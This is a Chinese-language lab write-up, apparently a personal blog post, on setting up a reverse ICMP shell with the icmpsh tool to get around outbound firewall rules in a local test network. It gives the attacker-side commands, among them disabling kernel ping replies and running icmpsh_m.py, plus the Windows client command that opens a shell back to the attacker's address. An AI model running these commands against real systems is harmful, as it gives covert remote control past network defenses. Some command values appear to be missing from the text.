前言

很老的一个技术了,学习下。

ICMP协议工作方式简介

Internet控制报文协议(ICMP)是Internet协议族中一个。它被用于包括路由器在内的网络设备中,用来发送错误报文和操作信息,表示所请求的服务不可用或是主机/路由不可达。ping命令使用第三层即网络层协议,通过ICMP载荷发送消息,该数据包会被封装上IP头。由于MTU的限制,ICMP包的大小不能大于1500字节。

网络层中的ICMP包

反向icmp_shell-LMLPHP

Ping命令会向目标主机发送一个IMCP的echo请求。目标主机如果回复echo响应则表示主机存活

反向icmp_shell-LMLPHP

场景介绍

有时候,网络管理员使用各种各样的防火墙,对渗透测试是非常困难的,有种这样防火墙:一个允许已知的机器流量在端口和服务(入口过滤),并拥有强大的出口访问控制列表的设置。

当你已经拥有一台机器内部网络或者DMZ的一部分。他并非通过TCP来获得reverse shell的,所以不考虑绑定shell。

然而有关UDP,通常是一个DNS隧道或通过ICMP的渠道来获得一个reverse shell。而ICMP就是这个工具的重点。icmpsh是一个简单的 reverse ICMP shell,

它分别用C(icmpsh-m.c)、Perl(icmpsh-m.pl)、Python(icmpsh_m.py)使win32.slave兼容原始POSIX。

它比其他类似的开源工具的主要优点是,它并不需要管理员权限就能运行到目标机器上。该工具简洁,方便和便于携带(跨平台)。

此脚本主要是针对windows的,他是一个C/S架构:slave(客户端)它是用C写的只能在windows上运行,

master(服务器)是跨平台的,作者将C和Perl已经移植到Python上了。

详细使用方法请参考:

https://github.com/inquisb/icmpsh#usage

本地实验

hacked:192.168.41.128

hacker:192.168.41.136

首先在受害者机器上,我用防火墙设置了一条出站规则,协议类型是TCP,端口是6060

反向icmp_shell-LMLPHP

我们在kali上用python2.7起一个在6060端口运行的服务器

80端口起的是apache服务器

本机访问

反向icmp_shell-LMLPHP

然后用靶机访问指定端口测试,出站规则是否正常

反向icmp_shell-LMLPHP

不指定默认,访问80端口

反向icmp_shell-LMLPHP

这里只是验证一下,说明一下如果服务器设置了出口访问控制列表的话,可以通过icmp协议完成一个reverse icmp shell。

kali:

使用第一条命令来关闭ping回复,这样可以防止内核自己对ping包进行响应,单单的用攻击者

sysctl -w net.ipv4.icmp_echo_ignore_all= >/dev/null
python icmpsh_m.py 192.168.41.136 192.168.41.128
#python icmpsh_m.py 攻击者ip 受害者ip

这里提示错误,看了下py文件

反向icmp_shell-LMLPHP

然后kali没有pip,就很无语。参考https://www.cnblogs.com/foe0/p/12217108.html

反向icmp_shell-LMLPHP

下的贼慢,然后安装一个包又贼慢,然后新版kali没装vxxxy又去配置去了,这一连串。

反向icmp_shell-LMLPHP

windows:

icmpsh.exe -t 192.168.41.136 -d  -b  -s 

反向icmp_shell-LMLPHP

执行whoami反向icmp_shell-LMLPHP

05-21 07:58